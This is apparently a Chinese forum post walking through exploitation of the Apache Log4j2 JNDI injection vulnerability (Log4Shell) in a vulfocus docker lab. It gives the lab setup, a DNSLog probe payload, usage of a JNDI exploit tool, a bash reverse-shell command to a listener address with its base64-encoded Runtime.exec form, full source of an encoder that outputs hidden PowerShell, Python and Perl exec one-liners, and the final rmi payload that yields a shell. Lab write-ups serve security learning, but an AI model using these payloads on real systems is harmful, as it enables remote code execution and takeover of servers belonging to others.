本帖最后由 sandalwood 于 2022-3-31 14:41 编辑
0x00 漏洞介绍
Log4j2介绍:Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中 Log4j2漏洞描述:漏洞名称:Apache Log4j2 远程代码执行漏洞。 由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。 原理分析:本次 Apache Log4j 远程代码执行漏洞,正是由于组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。 0x01 环境准备0x02 vulfocus靶场搭建:
1. docker pull vulfocus/vulfocus:latest
2. docker pull vulfocus/log4j2-rce-2021-12-09:latest
3. docker run -d -p 80:8080 vulfocus/log4j2-rce-2021-12-09:latest
访问192.168.17.136:80
0x03 DNSLog验证
payload:${jndi:ldap://xxxxx.dnslog.cn}
此时导致400错误,将payload进行url编码后发包
验证成功 0x04 JNDI注入反弹shell工具下载地址: - https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
使用方式: - java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
反弹shell指令: - bash -i >& /dev/tcp/ip/port 0>&1
此处反弹shell命令为: - bash -i >& /dev/tcp/192.168.17.131/9999 0>&1
将命令进行Java Runtime Bash 编码后为: - bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3LjEzMS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}
源码 <!--Java Runtime Bash 编码网页源码--> <!DOCTYPE html> <html> <head> <title>java runtime exec usage...</title> </head> <body> <p>Input type: <input type="radio" id="bash" name="option" value="bash" checked=""><label for="bash">Bash</label> <input type="radio" id="powershell" name="option" value="powershell"><label for="powershell">PowerShell</label> <input type="radio" id="python" name="option" value="python"><label for="python">Python</label> <input type="radio" id="perl" name="option" value="perl"><label for="perl">Perl</label></p>
<p><textarea rows="10" style="width: 100%; box-sizing: border-box;" id="input" placeholder="Type Bash here..."> </textarea><textarea rows="5" style="width: 100%; box-sizing: border-box;" id="output" readonly=""></textarea></p>
<script> var taInput = document.querySelector('textarea#input'); var taOutput = document.querySelector('textarea#output');
function processInput() { var option = document.querySelector('input[name="option"]:checked').value;
switch (option) { case 'bash': taInput.placeholder = 'Type Bash here...' taOutput.value = 'bash -c {echo,' + btoa(taInput.value) + '}|{base64,-d}|{bash,-i}'; break; case 'powershell': taInput.placeholder = 'Type PowerShell here...' poshInput = '' for (var i = 0; i < taInput.value.length; i++) { poshInput += taInput.value + unescape("%00"); } taOutput.value = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ' + btoa(poshInput); break; case 'python': taInput.placeholder = 'Type Python here...' taOutput.value = "python -c exec('" + btoa(taInput.value) + "'.decode('base64'))"; break; case 'perl': taInput.placeholder = 'Type Perl here...' taOutput.value = "perl -MMIME::Base64 -e eval(decode_base64('" + btoa(taInput.value) + "'))"; break; default: taOutput.value = '' } if (!taInput.value) taOutput.value = ''; }
taInput.addEventListener('input', processInput, false); </script>
</body></html>
使用工具生成payload命令为: - java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3LjEzMS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.17.131
得到payload: ${jndi:rmi://192.168.17.131:1099/bsfvky}
同时监听本地9999端口
编码后发送到靶机:
成功反弹shell:
|